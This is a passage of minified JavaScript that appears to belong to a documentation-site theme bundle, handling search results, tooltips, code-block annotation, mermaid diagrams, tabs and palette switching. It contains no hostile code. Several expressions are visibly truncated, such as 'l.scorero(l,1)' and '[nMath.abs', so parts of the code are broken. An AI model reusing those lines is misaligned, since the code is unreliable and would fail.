URL(l.location,o.base)}`.includes("#")),[i]=r.splice(n,1),s=r.findIndex(l=>l.scorero(l,1)),...c.length?[y("details",{class:"md-search-result__more"},y("summary",{tabIndex:-1},y("div",null,c.length>0&&c.length===1?Me("search.result.more.one"):Me("search.result.more.other",c.length))),...c.map(l=>ro(l,1)))]:[]];return y("li",{class:"md-search-result__item"},p)}function Rn(e){return y("ul",{class:"md-source__facts"},Object.entries(e).map(([t,r])=>y("li",{class:`md-source__fact md-source__fact--${t}`},typeof r=="number"?br(r):r)))}function oo(e){let t=`tabbed-control tabbed-control--${e}`;return y("div",{class:t,hidden:!0},y("button",{class:"tabbed-button",tabIndex:-1,"aria-hidden":"true"}))}function Pn(e){return y("div",{class:"md-typeset__scrollwrap"},y("div",{class:"md-typeset__table"},e))}function Na(e){var o;let t=Te(),r=new URL(`../${e.version}/`,t.base);return y("li",{class:"md-version__item"},y("a",{href:`${r}`,class:"md-version__link"},e.title,((o=t.version)==null?void 0:o.alias)&&e.aliases.length>0&&y("span",{class:"md-version__alias"},e.aliases[0])))}function In(e,t){var o;let r=Te();return e=e.filter(n=>{var i;return!((i=n.properties)!=null&&i.hidden)}),y("div",{class:"md-version"},y("button",{class:"md-version__current","aria-label":Me("select.version")},t.title,((o=r.version)==null?void 0:o.alias)&&t.aliases.length>0&&y("span",{class:"md-version__alias"},t.aliases[0])),y("ul",{class:"md-version__list"},e.map(Na)))}var Va=0;function za(e,t=250){let r=z([Ye(e),it(e,t)]).pipe(m(([n,i])=>n||i),Y()),o=$(()=>sn(e)).pipe(J(Ge),gt(1),m(()=>cn(e)));return r.pipe(Re(n=>n),b(()=>z([r,o])),m(([n,i])=>({active:n,offset:i})),le())}function Nt(e,t,r=250){let{content$:o,viewport$:n}=t,i=`__tooltip2_${Va++}`;return $(()=>{let s=new T,a=new jr(!1);s.pipe(re(),ae(!1)).subscribe(a);let c=a.pipe(jt(l=>$e(+!l*250,Dr)),Y(),b(l=>l?o:g),S(l=>l.id=i),le());z([s.pipe(m(({active:l})=>l)),c.pipe(b(l=>it(l,250)),Q(!1))]).pipe(m(l=>l.some(f=>f))).subscribe(a);let p=a.pipe(v(l=>l),te(c,n),m(([l,f,{size:u}])=>{let d=e.getBoundingClientRect(),x=d.width/2;if(f.role==="tooltip")return{x,y:8+d.height};if(d.y>=u.height/2){let{height:L}=de(f);return{x,y:-16-L}}else return{x,y:16+d.height}}));return z([c,s,p]).subscribe(([l,{offset:f},u])=>{l.style.setProperty("--md-tooltip-host-x",`${f.x}px`),l.style.setProperty("--md-tooltip-host-y",`${f.y}px`),l.style.setProperty("--md-tooltip-x",`${u.x}px`),l.style.setProperty("--md-tooltip-y",`${u.y}px`),l.classList.toggle("md-tooltip2--top",u.y<0),l.classList.toggle("md-tooltip2--bottom",u.y>=0)}),a.pipe(v(l=>l),te(c,(l,f)=>f),v(l=>l.role==="tooltip")).subscribe(l=>{let f=de(j(":scope > *",l));l.style.setProperty("--md-tooltip-width",`${f.width}px`),l.style.setProperty("--md-tooltip-tail","0px")}),a.pipe(Y(),ye(xe),te(c)).subscribe(([l,f])=>{f.classList.toggle("md-tooltip2--active",l)}),z([a.pipe(v(l=>l)),c]).subscribe(([l,f])=>{f.role==="dialog"?(e.setAttribute("aria-controls",i),e.setAttribute("aria-haspopup","dialog")):e.setAttribute("aria-describedby",i)}),a.pipe(v(l=>!l)).subscribe(()=>{e.removeAttribute("aria-controls"),e.removeAttribute("aria-describedby"),e.removeAttribute("aria-haspopup")}),za(e,r).pipe(S(l=>s.next(l)),A(()=>s.complete()),m(l=>R({ref:e},l)))})}function Xe(e,{viewport$:t},r=document.body){return Nt(e,{content$:new F(o=>{let n=e.title,i=_n(n);return o.next(i),e.removeAttribute("title"),r.append(i),()=>{i.remove(),e.setAttribute("title",n)}}),viewport$:t},0)}function qa(e,t){let r=$(()=>z([pn(e),Ge(t)])).pipe(m(([{x:o,y:n},i])=>{let{width:s,height:a}=de(e);return{x:o-i.x+s/2,y:n-i.y+a/2}}));return Ye(e).pipe(b(o=>r.pipe(m(n=>({active:o,offset:n})),Ee(+!o||1/0))))}function Fn(e,t,{target$:r}){let[o,n]=Array.from(e.children);return $(()=>{let i=new T,s=i.pipe(re(),ae(!0));return i.subscribe({next({offset:a}){e.style.setProperty("--md-tooltip-x",`${a.x}px`),e.style.setProperty("--md-tooltip-y",`${a.y}px`)},complete(){e.style.removeProperty("--md-tooltip-x"),e.style.removeProperty("--md-tooltip-y")}}),mt(e).pipe(W(s)).subscribe(a=>{e.toggleAttribute("data-md-visible",a)}),O(i.pipe(v(({active:a})=>a)),i.pipe(Ae(250),v(({active:a})=>!a))).subscribe({next({active:a}){a?e.prepend(o):o.remove()},complete(){e.prepend(o)}}),i.pipe(ke(16,xe)).subscribe(({active:a})=>{o.classList.toggle("md-tooltip--active",a)}),i.pipe(gt(125,xe),v(()=>!!e.offsetParent),m(()=>e.offsetParent.getBoundingClientRect()),m(({x:a})=>a)).subscribe({next(a){a?e.style.setProperty("--md-tooltip-0",`${-a}px`):e.style.removeProperty("--md-tooltip-0")},complete(){e.style.removeProperty("--md-tooltip-0")}}),h(n,"click").pipe(W(s),v(a=>!(a.metaKey||a.ctrlKey))).subscribe(a=>{a.stopPropagation(),a.preventDefault()}),h(n,"mousedown").pipe(W(s),te(i)).subscribe(([a,{active:c}])=>{var p;if(a.button!==0||a.metaKey||a.ctrlKey)a.preventDefault();else if(c){a.preventDefault();let l=e.parentElement.closest(".md-annotation");l instanceof HTMLElement?l.focus():(p=Ve())==null||p.blur()}}),r.pipe(W(s),v(a=>a===o),nt(125)).subscribe(()=>e.focus()),qa(e,t).pipe(S(a=>i.next(a)),A(()=>i.complete()),m(a=>R({ref:e},a)))})}function Ka(e){let t=Te();if(e.tagName!=="CODE")return[e];let r=[".c",".c1",".cm"];if(typeof t.annotate!="undefined"){let o=e.closest("[class|=language]");if(o)for(let n of Array.from(o.classList)){if(!n.startsWith("language-"))continue;let[,i]=n.split("-");i in t.annotate&&r.push(...t.annotate[i])}}return M(r.join(", "),e)}function Qa(e){let t=[];for(let r of Ka(e)){let o=[],n=document.createNodeIterator(r,NodeFilter.SHOW_TEXT);for(let i=n.nextNode();i;i=n.nextNode())o.push(i);for(let i of o){let s;for(;s=/(\(\d+\))(!)?/.exec(i.textContent);){let[,a,c]=s;if(typeof c=="undefined"){let p=i.splitText(s.index);i=p.splitText(a.length),t.push(p)}else{i.textContent=a,t.push(i);break}}}}return t}function jn(e,t){t.append(...Array.from(e.childNodes))}function Tr(e,t,{target$:r,print$:o}){let n=t.closest("[id]"),i=n==null?void 0:n.id,s=new Map;for(let a of Qa(t)){let[,c]=a.textContent.match(/\((\d+)\)/);ue(`:scope > li:nth-child(${c})`,e)&&(s.set(c,An(c,i)),a.replaceWith(s.get(c)))}return s.size===0?g:$(()=>{let a=new T,c=a.pipe(re(),ae(!0)),p=[];for(let[l,f]of s)p.push([j(".md-typeset",f),j(`:scope > li:nth-child(${l})`,e)]);return o.pipe(W(c)).subscribe(l=>{e.hidden=!l,e.classList.toggle("md-annotation-list",l);for(let[f,u]of p)l?jn(f,u):jn(u,f)}),O(...[...s].map(([,l])=>Fn(l,t,{target$:r}))).pipe(A(()=>a.complete()),le())})}function Un(e){if(e.nextElementSibling){let t=e.nextElementSibling;if(t.tagName==="OL")return t;if(t.tagName==="P"&&!t.children.length)return Un(t)}}function Wn(e,t){return $(()=>{let r=Un(e);return typeof r!="undefined"?Tr(r,e,t):g})}var Nn=Gt(io());var Ya=0,Dn=O(h(window,"keydown").pipe(m(()=>!0)),O(h(window,"keyup"),h(window,"contextmenu")).pipe(m(()=>!1))).pipe(Q(!1),X(1));function Vn(e){if(e.nextElementSibling){let t=e.nextElementSibling;if(t.tagName==="OL")return t;if(t.tagName==="P"&&!t.children.length)return Vn(t)}}function Ba(e){return Le(e).pipe(m(({width:t})=>({scrollable:Ct(e).width>t})),oe("scrollable"))}function zn(e,t){let{matches:r}=matchMedia("(hover)"),o=$(()=>{let n=new T,i=n.pipe(Yr(1));n.subscribe(({scrollable:d})=>{d&&r?e.setAttribute("tabindex","0"):e.removeAttribute("tabindex")});let s=[],a=e.closest("pre"),c=a.closest("[id]"),p=c?c.id:Ya++;a.id=`__code_${p}`;let l=[],f=e.closest(".highlight");if(f instanceof HTMLElement){let d=Vn(f);if(typeof d!="undefined"&&(f.classList.contains("annotate")||N("content.code.annotate"))){let x=Tr(d,e,t);l.push(Le(f).pipe(W(i),m(({width:L,height:ee})=>L&&ee),Y(),b(L=>L?x:g)))}}let u=M(":scope > span[id]",e);if(u.length&&(e.classList.add("md-code__content"),e.closest(".select")||N("content.code.select")&&!e.closest(".no-select"))){let d=+u[0].id.split("-").pop(),x=Hn();s.push(x),N("content.tooltips")&&l.push(Xe(x,{viewport$}));let L=h(x,"click").pipe(Ut(P=>!P,!1),S(()=>x.blur()),le());L.subscribe(P=>{x.classList.toggle("md-code__button--active",P)});let ee=fe(u).pipe(J(P=>it(P).pipe(m(se=>[P,se]))));L.pipe(b(P=>P?ee:g)).subscribe(([P,se])=>{let ce=ue(".hll.select",P);if(ce&&!se)ce.replaceWith(...Array.from(ce.childNodes));else if(!ce&&se){let he=document.createElement("span");he.className="hll select",he.append(...Array.from(P.childNodes).slice(1)),P.append(he)}});let ne=fe(u).pipe(J(P=>h(P,"mousedown").pipe(S(se=>se.preventDefault()),m(()=>P)))),Z=L.pipe(b(P=>P?ne:g),te(Dn),m(([P,se])=>{var he;let ce=u.indexOf(P)+d;if(se===!1)return[ce,ce];{let Se=M(".hll",e).map(je=>u.indexOf(je.parentElement)+d);return(he=window.getSelection())==null||he.removeAllRanges(),[Math.min(ce,...Se),Math.max(ce,...Se)]}})),H=Zr(g).pipe(v(P=>P.startsWith(`__codelineno-${p}-`)));H.subscribe(P=>{let[,,se]=P.split("-"),ce=se.split(":").map(Se=>+Se-d+1);ce.length===1&&ce.push(ce[0]);for(let Se of M(".hll:not(.select)",e))Se.replaceWith(...Array.from(Se.childNodes));let he=u.slice(ce[0]-1,ce[1]);for(let Se of he){let je=document.createElement("span");je.className="hll",je.append(...Array.from(Se.childNodes).slice(1)),Se.append(je)}}),H.pipe(Ee(1),ye(pe)).subscribe(P=>{if(P.includes(":")){let se=document.getElementById(P.split(":")[0]);se&&setTimeout(()=>{let ce=se,he=-64;for(;ce!==document.body;)he+=ce.offsetTop,ce=ce.offsetParent;window.scrollTo({top:he})},1)}});let Fe=fe(M('a[href^="#__codelineno"]',f)).pipe(J(P=>h(P,"click").pipe(S(se=>se.preventDefault()),m(()=>P)))).pipe(W(i),te(Dn),m(([P,se])=>{let he=+j(`[id="${P.hash.slice(1)}"]`).parentElement.id.split("-").pop();if(se===!1)return[he,he];{let Se=M(".hll",e).map(je=>+je.parentElement.id.split("-").pop());return[Math.min(he,...Se),Math.max(he,...Se)]}}));O(Z,Fe).subscribe(P=>{let se=`#__codelineno-${p}-`;P[0]===P[1]?se+=P[0]:se+=`${P[0]}:${P[1]}`,history.replaceState({},"",se),window.dispatchEvent(new HashChangeEvent("hashchange",{newURL:window.location.origin+window.location.pathname+se,oldURL:window.location.href}))})}if(Nn.default.isSupported()&&(e.closest(".copy")||N("content.code.copy")&&!e.closest(".no-copy"))){let d=Cn(a.id);s.push(d),N("content.tooltips")&&l.push(Xe(d,{viewport$}))}if(s.length){let d=$n();d.append(...s),a.insertBefore(d,e)}return Ba(e).pipe(S(d=>n.next(d)),A(()=>n.complete()),m(d=>R({ref:e},d)),Ne(O(...l).pipe(W(i))))});return N("content.lazy")?mt(e).pipe(v(n=>n),Ee(1),b(()=>o)):o}function Ga(e,{target$:t,print$:r}){let o=!0;return O(t.pipe(m(n=>n.closest("details:not([open])")),v(n=>e===n),m(()=>({action:"open",reveal:!0}))),r.pipe(v(n=>n||!o),S(()=>o=e.open),m(n=>({action:n?"open":"close"}))))}function qn(e,t){return $(()=>{let r=new T;return r.subscribe(({action:o,reveal:n})=>{e.toggleAttribute("open",o==="open"),n&&e.scrollIntoView()}),Ga(e,t).pipe(S(o=>r.next(o)),A(()=>r.complete()),m(o=>R({ref:e},o)))})}var Kn=0;function Ja(e){let t=document.createElement("h3");t.innerHTML=e.innerHTML;let r=[t],o=e.nextElementSibling;for(;o&&!(o instanceof HTMLHeadingElement);)r.push(o),o=o.nextElementSibling;return r}function Xa(e,t){for(let r of M("[href], [src]",e))for(let o of["href","src"]){let n=r.getAttribute(o);if(n&&!/^(?:[a-z]+:)?\/\//i.test(n)){r[o]=new URL(r.getAttribute(o),t).toString();break}}for(let r of M("[name^=__], [for]",e))for(let o of["id","for","name"]){let n=r.getAttribute(o);n&&r.setAttribute(o,`${n}$preview_${Kn}`)}return Kn++,k(e)}function Qn(e,t){let{sitemap$:r}=t;if(!(e instanceof HTMLAnchorElement))return g;if(!(N("navigation.instant.preview")||e.hasAttribute("data-preview")))return g;let o=z([Ye(e),it(e)]).pipe(m(([i,s])=>i||s),Y(),v(i=>i));return rt([r,o]).pipe(b(([i])=>{let s=new URL(e.href);return s.search=s.hash="",i.has(`${s}`)?k(s):g}),b(i=>yr(i).pipe(b(s=>Xa(s,i)))),b(i=>{let s=e.hash?`article [id="${e.hash.slice(1)}"]`:"article h1",a=ue(s,i);return typeof a=="undefined"?g:k(Ja(a))})).pipe(b(i=>{let s=new F(a=>{let c=wr(...i);return a.next(c),document.body.append(c),()=>c.remove()});return Nt(e,R({content$:s},t))}))}var Yn=".node circle,.node ellipse,.node path,.node polygon,.node rect{fill:var(--md-mermaid-node-bg-color);stroke:var(--md-mermaid-node-fg-color)}marker{fill:var(--md-mermaid-edge-color)!important}.edgeLabel .label rect{fill:#0000}.label{color:var(--md-mermaid-label-fg-color);font-family:var(--md-mermaid-font-family)}.label foreignObject{line-height:normal;overflow:visible}.label div .edgeLabel{color:var(--md-mermaid-label-fg-color)}.edgeLabel,.edgeLabel rect,.label div .edgeLabel{background-color:var(--md-mermaid-label-bg-color)}.edgeLabel,.edgeLabel rect{fill:var(--md-mermaid-label-bg-color);color:var(--md-mermaid-edge-color)}.edgePath .path,.flowchart-link{stroke:var(--md-mermaid-edge-color);stroke-width:.05rem}.edgePath .arrowheadPath{fill:var(--md-mermaid-edge-color);stroke:none}.cluster rect{fill:var(--md-default-fg-color--lightest);stroke:var(--md-default-fg-color--lighter)}.cluster span{color:var(--md-mermaid-label-fg-color);font-family:var(--md-mermaid-font-family)}g #flowchart-circleEnd,g #flowchart-circleStart,g #flowchart-crossEnd,g #flowchart-crossStart,g #flowchart-pointEnd,g #flowchart-pointStart{stroke:none}g.classGroup line,g.classGroup rect{fill:var(--md-mermaid-node-bg-color);stroke:var(--md-mermaid-node-fg-color)}g.classGroup text{fill:var(--md-mermaid-label-fg-color);font-family:var(--md-mermaid-font-family)}.classLabel .box{fill:var(--md-mermaid-label-bg-color);background-color:var(--md-mermaid-label-bg-color);opacity:1}.classLabel .label{fill:var(--md-mermaid-label-fg-color);font-family:var(--md-mermaid-font-family)}.node .divider{stroke:var(--md-mermaid-node-fg-color)}.relation{stroke:var(--md-mermaid-edge-color)}.cardinality{fill:var(--md-mermaid-label-fg-color);font-family:var(--md-mermaid-font-family)}.cardinality text{fill:inherit!important}defs #classDiagram-compositionEnd,defs #classDiagram-compositionStart,defs #classDiagram-dependencyEnd,defs #classDiagram-dependencyStart,defs #classDiagram-extensionEnd,defs #classDiagram-extensionStart{fill:var(--md-mermaid-edge-color)!important;stroke:var(--md-mermaid-edge-color)!important}defs #classDiagram-aggregationEnd,defs #classDiagram-aggregationStart{fill:var(--md-mermaid-label-bg-color)!important;stroke:var(--md-mermaid-edge-color)!important}g.stateGroup rect{fill:var(--md-mermaid-node-bg-color);stroke:var(--md-mermaid-node-fg-color)}g.stateGroup .state-title{fill:var(--md-mermaid-label-fg-color)!important;font-family:var(--md-mermaid-font-family)}g.stateGroup .composit{fill:var(--md-mermaid-label-bg-color)}.nodeLabel,.nodeLabel p{color:var(--md-mermaid-label-fg-color);font-family:var(--md-mermaid-font-family)}a .nodeLabel{text-decoration:underline}.node circle.state-end,.node circle.state-start,.start-state{fill:var(--md-mermaid-edge-color);stroke:none}.end-state-inner,.end-state-outer{fill:var(--md-mermaid-edge-color)}.end-state-inner,.node circle.state-end{stroke:var(--md-mermaid-label-bg-color)}.transition{stroke:var(--md-mermaid-edge-color)}[id^=state-fork] rect,[id^=state-join] rect{fill:var(--md-mermaid-edge-color)!important;stroke:none!important}.statediagram-cluster.statediagram-cluster .inner{fill:var(--md-default-bg-color)}.statediagram-cluster rect{fill:var(--md-mermaid-node-bg-color);stroke:var(--md-mermaid-node-fg-color)}.statediagram-state rect.divider{fill:var(--md-default-fg-color--lightest);stroke:var(--md-default-fg-color--lighter)}defs #statediagram-barbEnd{stroke:var(--md-mermaid-edge-color)}.attributeBoxEven,.attributeBoxOdd{fill:var(--md-mermaid-node-bg-color);stroke:var(--md-mermaid-node-fg-color)}.entityBox{fill:var(--md-mermaid-label-bg-color);stroke:var(--md-mermaid-node-fg-color)}.entityLabel{fill:var(--md-mermaid-label-fg-color);font-family:var(--md-mermaid-font-family)}.relationshipLabelBox{fill:var(--md-mermaid-label-bg-color);fill-opacity:1;background-color:var(--md-mermaid-label-bg-color);opacity:1}.relationshipLabel{fill:var(--md-mermaid-label-fg-color)}.relationshipLine{stroke:var(--md-mermaid-edge-color)}defs #ONE_OR_MORE_END *,defs #ONE_OR_MORE_START *,defs #ONLY_ONE_END *,defs #ONLY_ONE_START *,defs #ZERO_OR_MORE_END *,defs #ZERO_OR_MORE_START *,defs #ZERO_OR_ONE_END *,defs #ZERO_OR_ONE_START *{stroke:var(--md-mermaid-edge-color)!important}defs #ZERO_OR_MORE_END circle,defs #ZERO_OR_MORE_START circle{fill:var(--md-mermaid-label-bg-color)}.actor{fill:var(--md-mermaid-sequence-actor-bg-color);stroke:var(--md-mermaid-sequence-actor-border-color)}text.actor>tspan{fill:var(--md-mermaid-sequence-actor-fg-color);font-family:var(--md-mermaid-font-family)}line{stroke:var(--md-mermaid-sequence-actor-line-color)}.actor-man circle,.actor-man line{fill:var(--md-mermaid-sequence-actorman-bg-color);stroke:var(--md-mermaid-sequence-actorman-line-color)}.messageLine0,.messageLine1{stroke:var(--md-mermaid-sequence-message-line-color)}.note{fill:var(--md-mermaid-sequence-note-bg-color);stroke:var(--md-mermaid-sequence-note-border-color)}.loopText,.loopText>tspan,.messageText,.noteText>tspan{stroke:none;font-family:var(--md-mermaid-font-family)!important}.messageText{fill:var(--md-mermaid-sequence-message-fg-color)}.loopText,.loopText>tspan{fill:var(--md-mermaid-sequence-loop-fg-color)}.noteText>tspan{fill:var(--md-mermaid-sequence-note-fg-color)}#arrowhead path{fill:var(--md-mermaid-sequence-message-line-color);stroke:none}.loopLine{fill:var(--md-mermaid-sequence-loop-bg-color);stroke:var(--md-mermaid-sequence-loop-border-color)}.labelBox{fill:var(--md-mermaid-sequence-label-bg-color);stroke:none}.labelText,.labelText>span{fill:var(--md-mermaid-sequence-label-fg-color);font-family:var(--md-mermaid-font-family)}.sequenceNumber{fill:var(--md-mermaid-sequence-number-fg-color)}rect.rect{fill:var(--md-mermaid-sequence-box-bg-color);stroke:none}rect.rect+text.text{fill:var(--md-mermaid-sequence-box-fg-color)}defs #sequencenumber{fill:var(--md-mermaid-sequence-number-bg-color)!important}";var ao,es=0;function ts(){return typeof mermaid=="undefined"||mermaid instanceof Element?At("https://unpkg.com/mermaid@10/dist/mermaid.min.js"):k(void 0)}function Bn(e){return e.classList.remove("mermaid"),ao||(ao=ts().pipe(S(()=>mermaid.initialize({startOnLoad:!1,themeCSS:Yn,sequence:{actorFontSize:"16px",messageFontSize:"16px",noteFontSize:"16px"}})),m(()=>{}),X(1))),ao.subscribe(()=>bo(this,null,function*(){e.classList.add("mermaid");let t=`__mermaid_${es++}`,r=y("div",{class:"mermaid"}),o=e.textContent,{svg:n,fn:i}=yield mermaid.render(t,o),s=r.attachShadow({mode:"closed"});s.innerHTML=n,e.replaceWith(r),i==null||i(s)})),ao.pipe(m(()=>({ref:e})))}var Gn=y("table");function Jn(e){return e.replaceWith(Gn),Gn.replaceWith(Pn(e)),k({ref:e})}function rs(e){let t=e.find(r=>r.checked)||e[0];return O(...e.map(r=>h(r,"change").pipe(m(()=>j(`label[for="${r.id}"]`))))).pipe(Q(j(`label[for="${t.id}"]`)),m(r=>({active:r})))}function Xn(e,{viewport$:t,target$:r}){let o=j(".tabbed-labels",e),n=M(":scope > input",e),i=oo("prev");e.append(i);let s=oo("next");return e.append(s),$(()=>{let a=new T,c=a.pipe(re(),ae(!0));z([a,Le(e),mt(e)]).pipe(W(c),ke(1,xe)).subscribe({next([{active:p},l]){let f=Be(p),{width:u}=de(p);e.style.setProperty("--md-indicator-x",`${f.x}px`),e.style.setProperty("--md-indicator-width",`${u}px`);let d=gr(o);(f.xd.x+l.width)&&o.scrollTo({left:Math.max(0,f.x-16),behavior:"smooth"})},complete(){e.style.removeProperty("--md-indicator-x"),e.style.removeProperty("--md-indicator-width")}}),z([Ge(o),Le(o)]).pipe(W(c)).subscribe(([p,l])=>{let f=Ct(o);i.hidden=p.x<16,s.hidden=p.x>f.width-l.width-16}),O(h(i,"click").pipe(m(()=>-1)),h(s,"click").pipe(m(()=>1))).pipe(W(c)).subscribe(p=>{let{width:l}=de(o);o.scrollBy({left:l*p,behavior:"smooth"})}),r.pipe(W(c),v(p=>n.includes(p))).subscribe(p=>p.click()),o.classList.add("tabbed-labels--linked");for(let p of n){let l=j(`label[for="${p.id}"]`);l.replaceChildren(y("a",{href:`#${l.htmlFor}`,tabIndex:-1},...Array.from(l.childNodes))),h(l.firstElementChild,"click").pipe(W(c),v(f=>!(f.metaKey||f.ctrlKey)),S(f=>{f.preventDefault(),f.stopPropagation()})).subscribe(()=>{history.replaceState({},"",`#${l.htmlFor}`),l.click()})}return N("content.tabs.link")&&a.pipe(Pe(1),te(t)).subscribe(([{active:p},{offset:l}])=>{let f=p.innerText.trim();if(p.hasAttribute("data-md-switching"))p.removeAttribute("data-md-switching");else{let u=e.offsetTop-l.y;for(let x of M("[data-tabs]"))for(let L of M(":scope > input",x)){let ee=j(`label[for="${L.id}"]`);if(ee!==p&&ee.innerText.trim()===f){ee.setAttribute("data-md-switching",""),L.click();break}}window.scrollTo({top:e.offsetTop-u});let d=__md_get("__tabs")||[];__md_set("__tabs",[...new Set([f,...d])])}}),a.pipe(W(c)).subscribe(()=>{for(let p of M("audio, video",e))p.pause()}),rs(n).pipe(S(p=>a.next(p)),A(()=>a.complete()),m(p=>R({ref:e},p)))}).pipe(et(pe))}function Zn(e,t){let{viewport$:r,target$:o,print$:n}=t;return O(...M(".annotate:not(.highlight)",e).map(i=>Wn(i,{target$:o,print$:n})),...M("pre:not(.mermaid) > code",e).map(i=>zn(i,{target$:o,print$:n})),...M("a:not([title])",e).map(i=>Qn(i,t)),...M("pre.mermaid",e).map(i=>Bn(i)),...M("table:not([class])",e).map(i=>Jn(i)),...M("details",e).map(i=>qn(i,{target$:o,print$:n})),...M("[data-tabs]",e).map(i=>Xn(i,{viewport$:r,target$:o})),...M("[title]",e).filter(()=>N("content.tooltips")).map(i=>Xe(i,{viewport$:r})),...M(".footnote-ref",e).filter(()=>N("content.footnote.tooltips")).map(i=>Nt(i,{content$:new F(s=>{let a=new URL(i.href).hash.slice(1),c=Array.from(document.getElementById(a).cloneNode(!0).children),p=wr(...c);return s.next(p),document.body.append(p),()=>p.remove()}),viewport$:r})))}function os(e,{alert$:t}){return t.pipe(b(r=>O(k(!0),k(!1).pipe(nt(2e3))).pipe(m(o=>({message:r,active:o})))))}function ei(e,t){let r=j(".md-typeset",e);return $(()=>{let o=new T;return o.subscribe(({message:n,active:i})=>{e.classList.toggle("md-dialog--active",i),r.textContent=n}),os(e,t).pipe(S(n=>o.next(n)),A(()=>o.complete()),m(n=>R({ref:e},n)))})}var ns=0;function is(e,t){document.body.append(e);let{width:r}=de(e);e.style.setProperty("--md-tooltip-width",`${r}px`),e.remove();let o=vr(t),n=typeof o!="undefined"?Ge(o):k({x:0,y:0}),i=O(Ye(t),it(t)).pipe(Y());return z([i,n]).pipe(m(([s,a])=>{let{x:c,y:p}=Be(t),l=de(t),f=t.closest("table");return f&&t.parentElement&&(c+=f.offsetLeft+t.parentElement.offsetLeft,p+=f.offsetTop+t.parentElement.offsetTop),{active:s,offset:{x:c-a.x+l.width/2-r/2,y:p-a.y+l.height+8}}}))}function ti(e){let t=e.title;if(!t.length)return g;let r=`__tooltip_${ns++}`,o=Dt(r,"inline"),n=j(".md-typeset",o);return n.innerHTML=t,$(()=>{let i=new T;return i.subscribe({next({offset:s}){o.style.setProperty("--md-tooltip-x",`${s.x}px`),o.style.setProperty("--md-tooltip-y",`${s.y}px`)},complete(){o.style.removeProperty("--md-tooltip-x"),o.style.removeProperty("--md-tooltip-y")}}),O(i.pipe(v(({active:s})=>s)),i.pipe(Ae(250),v(({active:s})=>!s))).subscribe({next({active:s}){s?(e.insertAdjacentElement("afterend",o),e.setAttribute("aria-describedby",r),e.removeAttribute("title")):(o.remove(),e.removeAttribute("aria-describedby"),e.setAttribute("title",t))},complete(){o.remove(),e.removeAttribute("aria-describedby"),e.setAttribute("title",t)}}),i.pipe(ke(16,xe)).subscribe(({active:s})=>{o.classList.toggle("md-tooltip--active",s)}),i.pipe(gt(125,xe),v(()=>!!e.offsetParent),m(()=>e.offsetParent.getBoundingClientRect()),m(({x:s})=>s)).subscribe({next(s){s?o.style.setProperty("--md-tooltip-0",`${-s}px`):o.style.removeProperty("--md-tooltip-0")},complete(){o.style.removeProperty("--md-tooltip-0")}}),is(o,e).pipe(S(s=>i.next(s)),A(()=>i.complete()),m(s=>R({ref:e},s)))}).pipe(et(pe))}function as({viewport$:e}){if(!N("header.autohide"))return k(!1);let t=e.pipe(m(({offset:{y:n}})=>n),ot(2,1),m(([n,i])=>[nMath.abs(i-n.y)>100),m(([,[n]])=>n),Y()),o=Je("search");return z([e,o]).pipe(m(([{offset:n},i])=>n.y>400&&!i),Y(),b(n=>n?r:k(!1)),Q(!1))}function ri(e,t){return $(()=>z([Le(e),as(t)])).pipe(m(([{height:r},o])=>({height:r,hidden:o})),Y((r,o)=>r.height===o.height&&r.hidden===o.hidden),X(1))}function oi(e,{header$:t,main$:r}){return $(()=>{let o=new T,n=o.pipe(re(),ae(!0));o.pipe(oe("active"),De(t)).subscribe(([{active:s},{hidden:a}])=>{e.classList.toggle("md-header--shadow",s&&!a),e.hidden=a});let i=fe(M("[title]",e)).pipe(v(()=>N("content.tooltips")),J(s=>ti(s)));return r.subscribe(o),t.pipe(W(n),m(s=>R({ref:e},s)),Ne(i.pipe(W(n))))})}function ss(e,{viewport$:t,header$:r}){return Er(e,{viewport$:t,header$:r}).pipe(m(({offset:{y:o}})=>{let{height:n}=de(e);return{active:o>=n}}),oe("active"))}function ni(e,t){return $(()=>{let r=new T;r.subscribe({next({active:n}){e.classList.toggle("md-header__title--active",n)},complete(){e.classList.remove("md-header__title--active")}});let o=ue(".md-content h1");return typeof o=="undefined"?g:ss(o,t).pipe(S(n=>r.next(n)),A(()=>r.complete()),m(n=>R({ref:e},n)))})}function ii(e,{viewport$:t,header$:r}){let o=r.pipe(m(({height:i})=>i),Y()),n=o.pipe(b(()=>Le(e).pipe(m(({height:i})=>({top:e.offsetTop,bottom:e.offsetTop+i})),oe("bottom"))));return z([o,n,t]).pipe(m(([i,{top:s,bottom:a},{offset:{y:c},size:{height:p}}])=>(p=Math.max(0,p-Math.max(0,s-c,i)-Math.max(0,p+c-a)),{offset:s-i,height:p,active:s-i<=c})),Y((i,s)=>i.offset===s.offset&&i.height===s.height&&i.active===s.active))}function cs(e){let t=__md_get("__palette")||{index:e.findIndex(o=>matchMedia(o.getAttribute("data-md-color-media")).matches)},r=Math.max(0,Math.min(t.index,e.length-1));return k(...e).pipe(J(o=>h(o,"change").pipe(m(()=>o))),Q(e[r]),m(o=>({index:e.indexOf(o),color:{media:o.getAttribute("data-md-color-media"),scheme:o.getAttribute("data-md-color-scheme"),primary:o.getAttribute("data-md-color-primary"),accent:o.getAttribute("data-md-color-accent")}})),X(1))}function ai(e){let t=M("input",e),r=y("meta",{name:"theme-color"});document.head.appendChild(r);let o=y("meta",{name:"color-scheme"});document.head.appendChild(o);let n=Wt("(prefers-color-scheme: light)");return $(()=>{let i=new T;return i.subscribe(s=>{if(document.body.setAttribute("data-md-color-switching",""),s.color.media==="(prefers-color-scheme)"){let a=matchMedia("(prefers-color-scheme: light)"),c=document.querySelector(a.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");s.color.scheme=c.getAttribute("data-md-color-scheme"),s.color.primary=c.getAttribute("data-md-color-primary"),s.color.accent=c.getAttribute("data-md-color-accent")}for(let[a,c]of Object.entries(s.color))document.body.setAttribute(`data-md-color-${a}`,c);for(let a=0;as.key==="Enter"),te(i,(s,a)=>a)).subscribe(({index:s})=>{s=(s+1)%t.length,t[s].click(),t[s].focus()}),i.pipe(m(()=>{let s=Ce("header"),a=window.getComputedStyle(s);return o.content=a.colorScheme,a.backgroundColor.match(/\d+/g).map(c=>(+c).toString(16).padStart(2,"0")).join("")})).subscribe(s=>r.content=`#${s}`),i.pipe(ye(pe)).subscribe(()=>{document.body.removeAttribute("data-md-color-switching")}),cs(t).pipe(W(n.pipe(Pe(1))),vt(),S(s=>i.next(s)),A(()=>i.complete()),m(s=>R({ref:e},s)))})}function si(e,{progress$:t}){return $(()=>{let r=new T;return 